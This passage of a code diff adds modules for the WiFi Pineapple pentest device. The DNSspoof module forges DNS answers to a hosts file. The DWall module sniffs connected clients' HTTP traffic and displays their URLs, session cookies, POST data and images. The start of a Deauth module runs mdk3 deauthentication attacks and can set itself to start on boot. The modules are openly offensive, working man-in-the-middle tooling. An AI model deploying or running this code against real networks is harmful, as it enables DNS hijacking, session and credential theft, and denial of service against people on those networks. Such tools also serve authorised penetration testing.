||||
}, function(response) {
|
||||
$scope.saveConfigurationLabel = "success";
|
||||
$scope.saveConfiguration = "Saved";
|
||||
|
||||
$timeout(function(){
|
||||
$scope.saveConfigurationLabel = "primary";
|
||||
$scope.saveConfiguration = "Save";
|
||||
$scope.saving = false;
|
||||
}, 2000);
|
||||
});
|
||||
});
|
||||
|
||||
$scope.getConfigurationData = (function() {
|
||||
$api.request({
|
||||
module: 'DNSspoof',
|
||||
action: 'getLandingPageData'
|
||||
}, function(response) {
|
||||
$scope.configurationData = response.configurationData;
|
||||
});
|
||||
});
|
||||
|
||||
$scope.getConfigurationData();
|
||||
}]);
|
|
@ -0,0 +1,191 @@
|
|||
<div class="panel panel-default" ng-controller="DNSspoof_Controller"><div class="panel-heading"><h4 class="panel-title pull-left">{{title}}</h4><span class="pull-right">{{version}}</span><div class="clearfix"></div></div></div>
|
||||
|
||||
<div class="row">
|
||||
<div class="col-md-4">
|
||||
<div class="panel panel-default" ng-controller="DNSspoof_ControlsController">
|
||||
<div class="panel-heading">
|
||||
<h3 class="panel-title">
|
||||
Controls
|
||||
<span class="dropdown">
|
||||
<ul class="dropdown-menu" aria-labelledby="poolDropdown">
|
||||
<li ng-click="saveAutostartSettings()"><a>Save settings for start on boot</a></li>
|
||||
</ul>
|
||||
<button class="btn btn-xs btn-{{saveSettingsLabel}} dropdown-toggle" type="button" id="poolDropdown" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
|
||||
<span class="caret"></span>
|
||||
</button>
|
||||
</span>
|
||||
</h3>
|
||||
</div>
|
||||
<div class="panel-body">
|
||||
<table style="width:100%">
|
||||
<tr>
|
||||
<td style="padding-bottom: .5em;" class="text-muted">Dependencies</td>
|
||||
<td ng-hide="$root.status.installed" style="text-align:right;padding-bottom: .5em;"><button type="button" style="width: 90px;" class="btn btn-{{installLabel}} btn-xs" data-toggle="modal" data-target="#dependenciesInstallModal" ng-disabled="processing">{{install}}</button></td>
|
||||
<td ng-show="$root.status.installed" style="text-align:right;padding-bottom: .5em;"><button type="button" style="width: 90px;" class="btn btn-{{installLabel}} btn-xs" data-toggle="modal" data-target="#dependenciesRemoveModal" ng-disabled="processing">{{install}}</button></td>
|
||||
</tr>
|
||||
<tr class="form-inline" ng-show="$root.status.installed">
|
||||
<td style="padding-bottom: .5em;" class="text-muted">DNSspoof</td>
|
||||
<td style="text-align:right;padding-bottom: .5em;">
|
||||
<select class="form-control input-sm" ng-disabled="starting || status == 'Stop'" ng-model="selectedInterface">
|
||||
<option ng-repeat="interface in interfaces">{{ interface }}</option>
|
||||
</select>
|
||||
<button type="button" style="width: 90px;" class="btn btn-{{statusLabel}} btn-xs" ng-disabled="starting" ng-click="toggleDNSspoof()">{{status}}</button>
|
||||
</td>
|
||||
</tr>
|
||||
<tr ng-show="$root.status.installed">
|
||||
<td style="padding-bottom: .5em;" class="text-muted">Start on boot</td>
|
||||
<td style="text-align:right;padding-bottom: .5em;">
|
||||
<div class="btn-group">
|
||||
<button ng-click="toggleDNSspoofOnBoot()" class="btn btn-xs btn-{{bootLabelON}}">ON</button>
|
||||
<button ng-click="toggleDNSspoofOnBoot()" class="btn btn-xs btn-{{bootLabelOFF}}">OFF</button>
|
||||
</div>
|
||||
</td>
|
||||
</tr>
|
||||
</table>
|
||||
</div>
|
||||
|
||||
<div class="modal fade" id="dependenciesInstallModal" tabindex="-1" role="dialog" aria-labelledby="dependenciesModalLabel">
|
||||
<div class="modal-dialog" role="document">
|
||||
<div class="modal-content">
|
||||
<div class="modal-header">
|
||||
<button type="button" class="close" data-dismiss="modal" aria-label="Close"><span aria-hidden="true">×</span></button>
|
||||
<h4 class="modal-title" id="dependenciesInstallModalLabel">Install dependencies</h4>
|
||||
</div>
|
||||
<div class="modal-body">
|
||||
All required dependencies have to be installed first. This may take a few minutes.<br /><br />
|
||||
Please wait, do not leave or refresh this page. Once the install is complete, this page will refresh automatically.
|
||||
</div>
|
||||
<div class="modal-footer">
|
||||
<button type="button" class="btn btn-info" ng-click="handleDependencies('internal')" data-dismiss="modal">Internal</button>
|
||||
<button type="button" class="btn btn-info" ng-hide="device == 'tetra' || sdAvailable == false" ng-click="handleDependencies('sd')" data-dismiss="modal">SD Card</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="modal fade" id="dependenciesRemoveModal" tabindex="-1" role="dialog" aria-labelledby="dependenciesModalLabel">
|
||||
<div class="modal-dialog" role="document">
|
||||
<div class="modal-content">
|
||||
<div class="modal-header">
|
||||
<button type="button" class="close" data-dismiss="modal" aria-label="Close"><span aria-hidden="true">×</span></button>
|
||||
<h4 class="modal-title" id="dependenciesRemoveModalLabel">Remove dependencies</h4>
|
||||
</div>
|
||||
<div class="modal-body">
|
||||
All required dependencies will be removed. This may take a few minutes.<br /><br />
|
||||
Please wait, do not leave or refresh this page. Once the remove is complete, this page will refresh automatically.
|
||||
</div>
|
||||
<div class="modal-footer">
|
||||
<button type="button" class="btn btn-default" data-dismiss="modal">Cancel</button>
|
||||
<button type="button" class="btn btn-info" ng-click="handleDependencies()" data-dismiss="modal">Confirm</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="panel panel-default" ng-show="$root.status.installed" ng-controller="DNSspoof_HostsController">
|
||||
<div class="panel-heading pointer" data-toggle="collapse" data-target="#Hosts">
|
||||
<h4 class="panel-title">Hosts</h4>
|
||||
</div>
|
||||
<div id="Hosts" class="panel-collapse collapse">
|
||||
<div class="panel-body">
|
||||
<button type="submit" class="btn btn-{{saveConfigurationLabel}} btn-sm pull-right" ng-disabled="saving" ng-click="saveConfigurationData()">{{saveConfiguration}}</button><div class="clearfix"></div>
|
||||
<form class="form-horizontal">
|
||||
<textarea class="form-control" rows="20" ng-model="configurationData"></textarea>
|
||||
</form>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="panel panel-default" ng-show="$root.status.installed" ng-controller="DNSspoof_LandingPageController">
|
||||
<div class="panel-heading pointer" data-toggle="collapse" data-target="#LandingPage">
|
||||
<h4 class="panel-title">Landing Page</h4>
|
||||
</div>
|
||||
<div id="LandingPage" class="panel-collapse collapse">
|
||||
<div class="panel-body">
|
||||
<button type="submit" class="btn btn-{{saveConfigurationLabel}} btn-sm pull-right" ng-disabled="saving" ng-click="saveConfigurationData()">{{saveConfiguration}}</button><div class="clearfix"></div>
|
||||
<form class="form-horizontal">
|
||||
<textarea class="form-control" rows="20" ng-model="configurationData"></textarea>
|
||||
</form>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="panel panel-default" ng-show="$root.status.installed" ng-controller="DNSspoof_OutputController">
|
||||
<div class="panel-heading">
|
||||
<h4 class="panel-title pull-left">Output</h4>
|
||||
<div class="pull-right">
|
||||
Auto-refresh <div class="btn-group">
|
||||
<button ng-click="toggleAutoRefresh()" class="btn btn-xs btn-{{refreshLabelON}}">ON</button>
|
||||
<button ng-click="toggleAutoRefresh()" class="btn btn-xs btn-{{refreshLabelOFF}}">OFF</button>
|
||||
</div>
|
||||
</div>
|
||||
<div class="clearfix"></div>
|
||||
</div>
|
||||
<div class="panel-body">
|
||||
<div class="input-group">
|
||||
<span class="input-group-addon input-sm">Filter</span>
|
||||
<input type="text" class="form-control input-sm" placeholder="Piped commands used to filter output (e.g. grep, awk)" ng-model="filter">
|
||||
<div class="input-group-btn">
|
||||
<button class="btn btn-default btn-sm" ng-click="clearFilter()">Clear Filter</button>
|
||||
<button class="btn btn-primary btn-sm" ng-click="refreshOutput()">Refresh Log</button>
|
||||
</div>
|
||||
</div>
|
||||
<pre class="scrollable-pre log-pre">{{output}}</pre>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="panel panel-default" ng-show="$root.status.installed" ng-controller="DNSspoof_HistoryController">
|
||||
<div class="panel-heading pointer" data-toggle="collapse" data-target="#History">
|
||||
<h4 class="panel-title">History <span class="badge">{{history.length}}</span></h4>
|
||||
</div>
|
||||
<div id="History" class="panel-collapse collapse">
|
||||
<div class="panel-body">
|
||||
<button class="btn btn-primary btn-sm pull-right" ng-click="refreshHistory()">Refresh History</button><div class="clearfix"></div>
|
||||
<div class="table-responsive">
|
||||
<table class="table table-striped table-bordered table-hover" ng-hide="(history.length == 0)">
|
||||
<thead>
|
||||
<tr>
|
||||
<th>Date</th>
|
||||
<th>Action</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
<tr ng-repeat="entry in history" ng-if="entry != ''">
|
||||
<td>{{entry[0]}}</td>
|
||||
<td>
|
||||
<div class="btn-group">
|
||||
<button type="button" class="btn btn-fixed-length btn-sm btn-default" data-toggle="modal" data-target="#historyModal" ng-click="viewHistory(entry[1])">View</button>
|
||||
<button type="button" class="btn btn-sm btn-default" ng-click="downloadHistory(entry[1])">Download</button>
|
||||
<button type="button" class="btn btn-fixed-length btn-sm btn-danger" ng-click="deleteHistory(entry[1])">Delete</button>
|
||||
</div>
|
||||
</td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
<div class="well" ng-show="(history.length === 0)">No history...</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="modal fade" id="historyModal" tabindex="-1" role="dialog" aria-labelledby="historyModalLabel">
|
||||
<div class="modal-dialog modal-lg" role="document">
|
||||
<div class="modal-content">
|
||||
<div class="modal-header">
|
||||
<button type="button" class="close" data-dismiss="modal" aria-label="Close"><span aria-hidden="true">×</span></button>
|
||||
<h4 class="modal-title" id="historyModalLabel">View History - {{historyDate}}</h4>
|
||||
</div>
|
||||
<div class="modal-body">
|
||||
<pre class="scrollable-pre log-pre">{{historyOutput}}</pre>
|
||||
</div>
|
||||
<div class="modal-footer">
|
||||
<button type="button" class="btn btn-default" data-dismiss="modal">Close</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
</div>
|
|
@ -0,0 +1,10 @@
|
|||
{
|
||||
"author": "Whistle Master",
|
||||
"description": "Forge replies to arbitrary DNS queries using DNSspoof",
|
||||
"devices": [
|
||||
"nano",
|
||||
"tetra"
|
||||
],
|
||||
"title": "DNSspoof",
|
||||
"version": "1.3"
|
||||
}
|
|
@ -0,0 +1,18 @@
|
|||
#!/bin/sh
|
||||
#2015 - Whistle Master
|
||||
|
||||
export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/sd/lib:/sd/usr/lib
|
||||
export PATH=$PATH:/sd/usr/bin:/sd/usr/sbin
|
||||
|
||||
MYTIME=`date +%s`
|
||||
MYINTERFACE=`uci get dnsspoof.autostart.interface`
|
||||
HOSTSFILE="/etc/pineapple/spoofhost"
|
||||
|
||||
if [ -z "$MYINTERFACE" ]; then
|
||||
MYINTERFACE="br-lan"
|
||||
fi
|
||||
|
||||
uci set dnsspoof.run.interface=${MYINTERFACE}
|
||||
uci commit dnsspoof.run.interface
|
||||
|
||||
dnsspoof -i ${MYINTERFACE} -f ${HOSTSFILE} > /dev/null 2> /pineapple/modules/DNSspoof/log/output_${MYTIME}.log
|
|
@ -0,0 +1,35 @@
|
|||
#!/bin/sh
|
||||
#2015 - Whistle Master
|
||||
|
||||
export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/sd/lib:/sd/usr/lib
|
||||
export PATH=$PATH:/sd/usr/bin:/sd/usr/sbin
|
||||
|
||||
[[ -f /tmp/DNSspoof.progress ]] && {
|
||||
exit 0
|
||||
}
|
||||
|
||||
touch /tmp/DNSspoof.progress
|
||||
|
||||
if [ "$1" = "install" ]; then
|
||||
if [ "$2" = "internal" ]; then
|
||||
opkg update
|
||||
opkg install dnsspoof
|
||||
elif [ "$2" = "sd" ]; then
|
||||
opkg update
|
||||
opkg install dnsspoof --dest sd
|
||||
fi
|
||||
|
||||
touch /etc/config/dnsspoof
|
||||
echo "config dnsspoof 'run'" > /etc/config/dnsspoof
|
||||
echo "config dnsspoof 'autostart'" >> /etc/config/dnsspoof
|
||||
echo "config dnsspoof 'module'" >> /etc/config/dnsspoof
|
||||
|
||||
uci set dnsspoof.module.installed=1
|
||||
uci commit dnsspoof.module.installed
|
||||
|
||||
elif [ "$1" = "remove" ]; then
|
||||
opkg remove dnsspoof
|
||||
rm -rf /etc/config/dnsspoof
|
||||
fi
|
||||
|
||||
rm /tmp/DNSspoof.progress
|
|
@ -0,0 +1,15 @@
|
|||
#!/bin/sh
|
||||
#2015 - Whistle Master
|
||||
|
||||
export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/sd/lib:/sd/usr/lib
|
||||
export PATH=$PATH:/sd/usr/bin:/sd/usr/sbin
|
||||
|
||||
MYTIME=`date +%s`
|
||||
MYINTERFACE=`uci get dnsspoof.run.interface`
|
||||
HOSTSFILE="/etc/pineapple/spoofhost"
|
||||
|
||||
if [ "$1" = "start" ]; then
|
||||
dnsspoof -i ${MYINTERFACE} -f ${HOSTSFILE} > /dev/null 2> /pineapple/modules/DNSspoof/log/output_${MYTIME}.log
|
||||
elif [ "$1" = "stop" ]; then
|
||||
killall dnsspoof
|
||||
fi
|
|
@ -0,0 +1,43 @@
|
|||
<?php namespace pineapple;
|
||||
|
||||
class DWall extends Module
|
||||
{
|
||||
public function route()
|
||||
{
|
||||
switch ($this->request->action) {
|
||||
case 'enable':
|
||||
$this->enable();
|
||||
break;
|
||||
case 'disable':
|
||||
$this->disable();
|
||||
break;
|
||||
case 'getStatus':
|
||||
$this->getStatus();
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
private function enable()
|
||||
{
|
||||
$this->disable();
|
||||
$this->execBackground("/usr/bin/python /pineapple/modules/DWall/assets/DWall.py");
|
||||
$this->execBackground("/pineapple/modules/DWall/assets/http_sniffer br-lan");
|
||||
$this->response = array("success" => true);
|
||||
}
|
||||
|
||||
private function disable()
|
||||
{
|
||||
exec("killall http_sniffer");
|
||||
exec("kill \$(ps | grep DWall | head -n1 | awk '{print $1}')");
|
||||
$this->response = array("success" => true);
|
||||
}
|
||||
|
||||
private function getStatus()
|
||||
{
|
||||
if (trim(exec("ps -w | grep [D]Wall.py")) != "" && trim(exec("ps -w | grep [h]ttp_sniffer")) != "") {
|
||||
$this->response = array("running" => true);
|
||||
} else {
|
||||
$this->response = array("running" => false);
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,26 @@
|
|||
import WebSocketsHandler
|
||||
import UDSHandler
|
||||
import SocketServer
|
||||
|
||||
def main():
|
||||
websockets = []
|
||||
running = True
|
||||
|
||||
udsHandler = UDSHandler.UDSHandler(args=(websockets, ))
|
||||
udsHandler.setDaemon(True)
|
||||
|
||||
SocketServer.ThreadingTCPServer.allow_reuse_address = 1
|
||||
server = SocketServer.ThreadingTCPServer(("", 9999), WebSocketsHandler.WebSocketsHandler)
|
||||
server.running = running
|
||||
server.websockets = websockets
|
||||
|
||||
try:
|
||||
udsHandler.start()
|
||||
server.serve_forever()
|
||||
udsHandler.join()
|
||||
except KeyboardInterrupt:
|
||||
server.running = False
|
||||
server.server_close()
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
|
@ -0,0 +1,82 @@
|
|||
import threading
|
||||
import sys
|
||||
import os
|
||||
import socket
|
||||
import json
|
||||
from mimetools import Message
|
||||
from StringIO import StringIO
|
||||
|
||||
class UDSHandler(threading.Thread):
|
||||
serverAddress = "/var/run/dwall.sock"
|
||||
|
||||
def __init__(self, group=None, target=None, name=None,
|
||||
args=(), kwargs=None, verbose=None):
|
||||
threading.Thread.__init__(self, group=group, target=target, name=name,
|
||||
verbose=verbose)
|
||||
self.args = args
|
||||
self.kwargs = kwargs
|
||||
return
|
||||
|
||||
def run(self):
|
||||
try:
|
||||
os.unlink(self.serverAddress)
|
||||
except:
|
||||
pass
|
||||
|
||||
sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
|
||||
sock.bind(self.serverAddress)
|
||||
sock.listen(1)
|
||||
|
||||
while True:
|
||||
connection, client_address = sock.accept()
|
||||
self.handleConnection(connection)
|
||||
|
||||
|
||||
|
||||
def handleConnection(self, connection):
|
||||
data = ""
|
||||
try:
|
||||
while True:
|
||||
buff = connection.recv(1024)
|
||||
if buff:
|
||||
data += buff
|
||||
else:
|
||||
break
|
||||
finally:
|
||||
connection.close()
|
||||
|
||||
try:
|
||||
parsedData = self.parseData(data)
|
||||
if parsedData:
|
||||
for websocket in self.args[0]:
|
||||
try:
|
||||
websocket.send_message(json.dumps(parsedData))
|
||||
except Exception, e:
|
||||
pass
|
||||
except Exception, e:
|
||||
pass
|
||||
|
||||
def parseData(self, data):
|
||||
data = data.split("|", 2)
|
||||
dataDict = {"from": data[0], "to": data[1]}
|
||||
|
||||
path, headers = data[2].split('\r\n', 1)
|
||||
|
||||
payload = Message(StringIO(headers))
|
||||
|
||||
url = "http://" + payload['host'] + path.split(" ")[1]
|
||||
|
||||
if url.lower().endswith(('.png', '.ico', '.jpeg', '.jpg', '.gif', '.svg')):
|
||||
dataDict['image'] = url
|
||||
else:
|
||||
dataDict['url'] = url
|
||||
|
||||
if 'cookie' in payload:
|
||||
dataDict['cookie'] = payload['cookie']
|
||||
|
||||
postData = data[2].split('\r\n\r\n')
|
||||
if len(postData) == 2:
|
||||
if postData[1].strip():
|
||||
dataDict['post'] = postData[1]
|
||||
|
||||
return dataDict
|
|
@ -0,0 +1,50 @@
|
|||
import struct
|
||||
import SocketServer
|
||||
import time
|
||||
from base64 import b64encode
|
||||
from hashlib import sha1
|
||||
from mimetools import Message
|
||||
from StringIO import StringIO
|
||||
|
||||
# This class is taken and modified from https://gist.github.com/jkp/3136208
|
||||
class WebSocketsHandler(SocketServer.StreamRequestHandler):
|
||||
magic = '258EAFA5-E914-47DA-95CA-C5AB0DC85B11'
|
||||
|
||||
def setup(self):
|
||||
SocketServer.StreamRequestHandler.setup(self)
|
||||
|
||||
self.server.websockets.append(self)
|
||||
self.handshake_done = False
|
||||
|
||||
def handle(self):
|
||||
while self.server.running:
|
||||
if not self.handshake_done:
|
||||
self.handshake()
|
||||
else:
|
||||
time.sleep(5)
|
||||
|
||||
def send_message(self, message):
|
||||
self.request.send(chr(129))
|
||||
length = len(message)
|
||||
if length <= 125:
|
||||
self.request.send(chr(length))
|
||||
elif length >= 126 and length <= 65535:
|
||||
self.request.send(chr(126))
|
||||
self.request.send(struct.pack(">H", length))
|
||||
else:
|
||||
self.request.send(chr(127))
|
||||
self.request.send(struct.pack(">Q", length))
|
||||
self.request.send(message)
|
||||
|
||||
def handshake(self):
|
||||
data = self.request.recv(1024).strip()
|
||||
headers = Message(StringIO(data.split('\r\n', 1)[1]))
|
||||
if headers.get("Upgrade", None) != "websocket":
|
||||
return
|
||||
key = headers['Sec-WebSocket-Key']
|
||||
digest = b64encode(sha1(key + self.magic).hexdigest().decode('hex'))
|
||||
response = 'HTTP/1.1 101 Switching Protocols\r\n'
|
||||
response += 'Upgrade: websocket\r\n'
|
||||
response += 'Connection: Upgrade\r\n'
|
||||
response += 'Sec-WebSocket-Accept: %s\r\n\r\n' % digest
|
||||
self.handshake_done = self.request.send(response)
|
|
@ -0,0 +1,86 @@
|
|||
registerController('DWallController', ['$scope', '$api', function($scope, $api) {
|
||||
$scope.running = false;
|
||||
$scope.listening = false;
|
||||
$scope.throbber = false;
|
||||
|
||||
$scope.enableDWall = (function() {
|
||||
$api.request({
|
||||
module: 'DWall',
|
||||
action: 'enable'
|
||||
}, function() {
|
||||
$scope.getDWallStatus();
|
||||
});
|
||||
});
|
||||
|
||||
$scope.disableDWall = (function() {
|
||||
$scope.stopWS();
|
||||
$api.request({
|
||||
module: 'DWall',
|
||||
action: 'disable'
|
||||
}, function() {
|
||||
$scope.getDWallStatus();
|
||||
});
|
||||
});
|
||||
|
||||
$scope.getDWallStatus = (function() {
|
||||
$api.request({
|
||||
module: 'DWall',
|
||||
action: 'getStatus'
|
||||
}, function(response) {
|
||||
$scope.running = response.running;
|
||||
});
|
||||
});
|
||||
|
||||
$scope.startWS = (function() {
|
||||
$scope.throbber = true;
|
||||
$scope.ws = new WebSocket("ws://" + window.location.hostname + ":9999/");
|
||||
$scope.ws.onerror = (function() {
|
||||
$scope.ws.onclose = (function() {});
|
||||
$scope.startWS();
|
||||
});
|
||||
$scope.ws.onopen = (function() {
|
||||
$scope.ws.onerror = (function(){});
|
||||
$scope.listening = true;
|
||||
$scope.throbber = false;
|
||||
});
|
||||
$scope.ws.onclose = (function() {
|
||||
$scope.throbber = false;
|
||||
$scope.listening = false;
|
||||
});
|
||||
|
||||
$scope.ws.onmessage = (function(message) {
|
||||
var data = JSON.parse(message.data);
|
||||
|
||||
if (data['image'] !== undefined) {
|
||||
$("#img_container").prepend('<img src="' + encodeURI(data['image']) +'">');
|
||||
} else {
|
||||
$("#url_table").prepend("<tr><td>" + data['from'] + "</td><td></td></tr>").children().first().children().last().text(data['url']);
|
||||
}
|
||||
if (data['cookie'] !== undefined) {
|
||||
$("#cookie_table").prepend("<tr><td>" + data['from'] + "</td><td></td></tr>").children().first().children().last().text(data['cookie']);
|
||||
}
|
||||
if (data['post'] !== undefined) {
|
||||
$("#post_table").prepend("<tr><td>" + data['from'] + "</td><td></td></tr>").children().first().children().last().text(data['post']);
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
$scope.stopWS = (function() {
|
||||
if ($scope.ws !== undefined) {
|
||||
$scope.ws.onclose = (function() {});
|
||||
$scope.ws.close();
|
||||
}
|
||||
$scope.listening = false;
|
||||
});
|
||||
|
||||
$scope.$on('$destroy', function() {
|
||||
$scope.stopWS();
|
||||
});
|
||||
|
||||
$scope.getDWallStatus();
|
||||
|
||||
$("#img_container").css('min-height', $(".module-content").height()-50);
|
||||
$("#img_container").css('max-height', $(".module-content").height()-50);
|
||||
|
||||
|
||||
}]);
|
|
@ -0,0 +1,115 @@
|
|||
<div class="row">
|
||||
<div class="col-md-6">
|
||||
<div class="row">
|
||||
<div class="col-md-12" ng-controller="DWallController">
|
||||
<div class="panel-group">
|
||||
<div class="panel panel-default">
|
||||
<div class="panel-heading pointer" data-toggle="collapse" data-target="#settings">
|
||||
<h3 class="panel-title">
|
||||
DWall Settings
|
||||
</h3>
|
||||
</div>
|
||||
<div id="settings" class="panel-collapse collapse in">
|
||||
<div class="panel-body">
|
||||
<p class="text-strong">
|
||||
DWall is currently <span ng-if="running">running</span><span ng-if="!running">not running</span>.
|
||||
</p>
|
||||
<button class="btn btn-default btn-sm" ng-if="!running" ng-click="enableDWall()">Enable</button>
|
||||
<button class="btn btn-default btn-sm" ng-if="running" ng-click="disableDWall()">Disable</button>
|
||||
<button class="btn btn-default btn-sm" ng-if="running && !listening && !throbber" ng-click="startWS()">Start Listening</button>
|
||||
<button class="btn btn-default btn-sm" ng-if="running && listening" ng-click="stopWS()">Stop Listening</button>
|
||||
<img src="/img/throbber.gif" ng-if="throbber">
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="row">
|
||||
<div class="col-md-12">
|
||||
<div class="panel-group">
|
||||
<div class="panel panel-default">
|
||||
<div class="panel-heading pointer" data-toggle="collapse" data-target="#url">
|
||||
<h3 class="panel-title">
|
||||
URLs
|
||||
</h3>
|
||||
</div>
|
||||
<div id="url" class="panel-collapse collapse in table-responsive" style="max-height: 300px">
|
||||
<table class="table">
|
||||
<thead>
|
||||
<tr>
|
||||
<th>Client</th>
|
||||
<th>URL</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody id="url_table"></tbody>
|
||||
</table>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="row">
|
||||
<div class="col-md-12">
|
||||
<div class="panel-group">
|
||||
<div class="panel panel-default">
|
||||
<div class="panel-heading pointer" data-toggle="collapse" data-target="#cookie">
|
||||
<h3 class="panel-title">
|
||||
Cookies
|
||||
</h3>
|
||||
</div>
|
||||
<div id="cookie" class="panel-collapse collapse in table-responsive" style="max-height: 300px">
|
||||
<table class="table">
|
||||
<thead>
|
||||
<tr>
|
||||
<th>Client</th>
|
||||
<th>Cookie</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody id="cookie_table"></tbody>
|
||||
</table>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="row">
|
||||
<div class="col-md-12">
|
||||
<div class="panel-group">
|
||||
<div class="panel panel-default">
|
||||
<div class="panel-heading pointer" data-toggle="collapse" data-target="#post">
|
||||
<h3 class="panel-title">
|
||||
Data
|
||||
</h3>
|
||||
</div>
|
||||
<div id="post" class="panel-collapse collapse in table-responsive" style="max-height: 300px">
|
||||
<table class="table">
|
||||
<thead>
|
||||
<tr>
|
||||
<th>Client</th>
|
||||
<th>Data</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody id="post_table"></tbody>
|
||||
</table>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="col-md-6">
|
||||
<div class="panel-group">
|
||||
<div class="panel panel-default">
|
||||
<div class="panel-heading pointer" data-toggle="collapse" data-target="#images">
|
||||
<h3 class="panel-title">
|
||||
Images
|
||||
</h3>
|
||||
</div>
|
||||
<div id="images" class="panel-collapse collapse in">
|
||||
<div class="panel-body" id="img_container" style="overflow-y: auto;"></div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
|
@ -0,0 +1,10 @@
|
|||
{
|
||||
"author": "Sebkinne",
|
||||
"description": "Display's HTTP URLs, Cookies, POST DATA, and images from browsing clients.",
|
||||
"devices": [
|
||||
"nano",
|
||||
"tetra"
|
||||
],
|
||||
"title": "DWall",
|
||||
"version": "1.1"
|
||||
}
|
|
@ -0,0 +1,309 @@
|
|||
<?php namespace pineapple;
|
||||
putenv('LD_LIBRARY_PATH='.getenv('LD_LIBRARY_PATH').':/sd/lib:/sd/usr/lib');
|
||||
putenv('PATH='.getenv('PATH').':/sd/usr/bin:/sd/usr/sbin');
|
||||
|
||||
class Deauth extends Module
|
||||
{
|
||||
public function route()
|
||||
{
|
||||
switch ($this->request->action) {
|
||||
case 'refreshInfo':
|
||||
$this->refreshInfo();
|
||||
break;
|
||||
case 'refreshOutput':
|
||||
$this->refreshOutput();
|
||||
break;
|
||||
case 'refreshStatus':
|
||||
$this->refreshStatus();
|
||||
break;
|
||||
case 'togglemdk3':
|
||||
$this->togglemdk3();
|
||||
break;
|
||||
case 'handleDependencies':
|
||||
$this->handleDependencies();
|
||||
break;
|
||||
case 'handleDependenciesStatus':
|
||||
$this->handleDependenciesStatus();
|
||||
break;
|
||||
case 'getInterfaces':
|
||||
$this->getInterfaces();
|
||||
break;
|
||||
case 'scanForNetworks':
|
||||
$this->scanForNetworks();
|
||||
break;
|
||||
case 'getSettings':
|
||||
$this->getSettings();
|
||||
break;
|
||||
case 'setSettings':
|
||||
$this->setSettings();
|
||||
break;
|
||||
case 'saveAutostartSettings':
|
||||
$this->saveAutostartSettings();
|
||||
break;
|
||||
case 'togglemdk3OnBoot':
|
||||
$this->togglemdk3OnBoot();
|
||||
break;
|
||||
case 'getListsData':
|
||||
$this->getListsData();
|
||||
break;
|
||||
case 'saveListsData':
|
||||
$this->saveListsData();
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
protected function checkDependency($dependencyName)
|
||||
{
|
||||
return ((exec("which {$dependencyName}") == '' ? false : true) && ($this->uciGet("deauth.module.installed")));
|
||||
}
|
||||
|
||||
protected function getDevice()
|
||||
{
|
||||
return trim(exec("cat /proc/cpuinfo | grep machine | awk -F: '{print $2}'"));
|
||||
}
|
||||
|
||||
protected function refreshInfo()
|
||||
{
|
||||
$moduleInfo = @json_decode(file_get_contents("/pineapple/modules/Deauth/module.info"));
|
||||
$this->response = array('title' => $moduleInfo->title, 'version' => $moduleInfo->version);
|
||||
}
|
||||
|
||||
private function handleDependencies()
|
||||
{
|
||||
if(!$this->checkDependency("mdk3"))
|
||||
{
|
||||
$this->execBackground("/pineapple/modules/Deauth/scripts/dependencies.sh install ".$this->request->destination);
|
||||
$this->response = array('success' => true);
|
||||
}
|
||||
else
|
||||
{
|
||||
$this->execBackground("/pineapple/modules/Deauth/scripts/dependencies.sh remove");
|
||||
$this->response = array('success' => true);
|
||||
}
|
||||
}
|
||||
|
||||
private function togglemdk3OnBoot()
|
||||
{
|
||||
if(exec("cat /etc/rc.local | grep Deauth/scripts/autostart_deauth.sh") == "")
|
||||
{
|
||||
exec("sed -i '/exit 0/d' /etc/rc.local");
|
||||
exec("echo /pineapple/modules/Deauth/scripts/autostart_deauth.sh >> /etc/rc.local");
|
||||
exec("echo exit 0 >> /etc/rc.local");
|
||||
}
|
||||
else
|
||||
{
|
||||
exec("sed -i '/Deauth\/scripts\/autostart_deauth.sh/d' /etc/rc.local");
|
||||
}
|
||||
}
|
||||
|
||||
private function handleDependenciesStatus()
|
||||
{
|
||||
if (!file_exists('/tmp/Deauth.progress'))
|
||||
{
|
||||
$this->response = array('success' => true);
|
||||
}
|
||||
else
|
||||
{
|
||||
$this->response = array('success' => false);
|
||||
}
|
||||
}
|
||||
|
||||
private function togglemdk3()
|
||||
{
|
||||
if(!$this->checkRunning("mdk3"))
|
||||
{
|
||||
$this->uciSet("deauth.run.interface", $this->request->interface);
|
||||
|
||||
$this->execBackground("/pineapple/modules/Deauth/scripts/deauth.sh start");
|
||||
}
|
||||
else
|
||||
{
|
||||
$this->uciSet("deauth.run.interface", '');
|
||||
|
||||
$this->execBackground("/pineapple/modules/Deauth/scripts/deauth.sh stop");
|
||||
}
|
